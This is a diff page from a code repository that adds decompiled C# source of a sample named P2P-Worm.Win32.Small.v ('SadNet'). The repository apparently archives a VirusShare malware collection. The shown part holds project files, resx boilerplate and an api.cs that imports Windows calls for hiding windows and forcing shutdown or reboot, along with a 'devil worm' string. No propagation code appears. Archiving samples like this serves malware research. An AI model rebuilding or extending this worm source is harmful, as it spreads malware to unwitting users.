<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+51
@@ -0,0 +1,51 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\P2P-Worm.Win32.Small.v-e11f1e1c2820f02fe46d7297e75a556346d661ee4bc64e6f222c74d56cf83bfd.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{30C159C8-88B4-48DC-906F-93905CF0199E}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>SadNet</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>SadNet</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Web" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="api.cs" />
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="Properties\Settings.cs" />
|
||||
<Compile Include="Properties\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
<EmbeddedResource Include="Properties\Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SadNet", "P2P-Worm.Win32.Small.v-e11f1e1c2820f02fe46d7297e75a556346d661ee4bc64e6f222c74d56cf83bfd.csproj", "{30C159C8-88B4-48DC-906F-93905CF0199E}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{30C159C8-88B4-48DC-906F-93905CF0199E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{30C159C8-88B4-48DC-906F-93905CF0199E}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{30C159C8-88B4-48DC-906F-93905CF0199E}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{30C159C8-88B4-48DC-906F-93905CF0199E}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SadNet.Program
|
||||
// Assembly: SadNet, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 7CA2C9C9-C782-4D2C-95AC-6004CBF68D8D
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\P2P-Worm.Win32.Small.v-e11f1e1c2820f02fe46d7297e75a556346d661ee4bc64e6f222c74d56cf83bfd.exe
|
||||
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace SadNet
|
||||
{
|
||||
internal static class Program
|
||||
{
|
||||
[STAThread]
|
||||
private static void Main()
|
||||
{
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Application.Run((Form) new Form1());
|
||||
}
|
||||
}
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SadNet.Properties.Resources
|
||||
// Assembly: SadNet, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 7CA2C9C9-C782-4D2C-95AC-6004CBF68D8D
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\P2P-Worm.Win32.Small.v-e11f1e1c2820f02fe46d7297e75a556346d661ee4bc64e6f222c74d56cf83bfd.exe
|
||||
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace SadNet.Properties
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
|
||||
[DebuggerNonUserCode]
|
||||
internal class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
internal Resources()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (SadNet.Properties.Resources.resourceMan == null)
|
||||
SadNet.Properties.Resources.resourceMan = new ResourceManager("SadNet.Properties.Resources", typeof (SadNet.Properties.Resources).Assembly);
|
||||
return SadNet.Properties.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => SadNet.Properties.Resources.resourceCulture;
|
||||
set => SadNet.Properties.Resources.resourceCulture = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SadNet.Properties.Settings
|
||||
// Assembly: SadNet, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 7CA2C9C9-C782-4D2C-95AC-6004CBF68D8D
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\P2P-Worm.Win32.Small.v-e11f1e1c2820f02fe46d7297e75a556346d661ee4bc64e6f222c74d56cf83bfd.exe
|
||||
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Configuration;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace SadNet.Properties
|
||||
{
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
internal sealed class Settings : ApplicationSettingsBase
|
||||
{
|
||||
private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
|
||||
|
||||
public static Settings Default => Settings.defaultInstance;
|
||||
}
|
||||
}
|
||||
+44
@@ -0,0 +1,44 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SadNet.api
|
||||
// Assembly: SadNet, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 7CA2C9C9-C782-4D2C-95AC-6004CBF68D8D
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\P2P-Worm.Win32.Small.v-e11f1e1c2820f02fe46d7297e75a556346d661ee4bc64e6f222c74d56cf83bfd.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace SadNet
|
||||
{
|
||||
public class api
|
||||
{
|
||||
public const int SW_HIDE = 0;
|
||||
public const int ConsoleWindowClass = 1;
|
||||
public const string amir = "hi i'm devil worm";
|
||||
public const int EWX_LOGOFF = 0;
|
||||
public const int EWX_SHUTDOWN = 1;
|
||||
public const int EWX_REBOOT = 2;
|
||||
public const int EWX_FORCE = 4;
|
||||
public const int EWX_POWEROFF = 8;
|
||||
|
||||
[DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
|
||||
public static extern int mciSendString(
|
||||
string lpstrCommand,
|
||||
string lpstrReturnString,
|
||||
int uReturnLength,
|
||||
int hwndCallback);
|
||||
|
||||
[DllImport("user32")]
|
||||
public static extern int ShowWindow(int hwnd, int nCmdShow);
|
||||
|
||||
[DllImport("user32")]
|
||||
public static extern int MessageBeep(int wType);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
public static extern int Sleep(int dwMilliseconds);
|
||||
|
||||
[DllImport("user32", EntryPoint = "FindWindowA")]
|
||||
public static extern int FindWindow(string lpClassName, string lpWindowName);
|
||||
|
||||
[DllImport("shell32", EntryPoint = "#59")]
|
||||
public static extern int SHRestartSystemMB(int hOwner, string sExtraPrompt, int uFlags);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user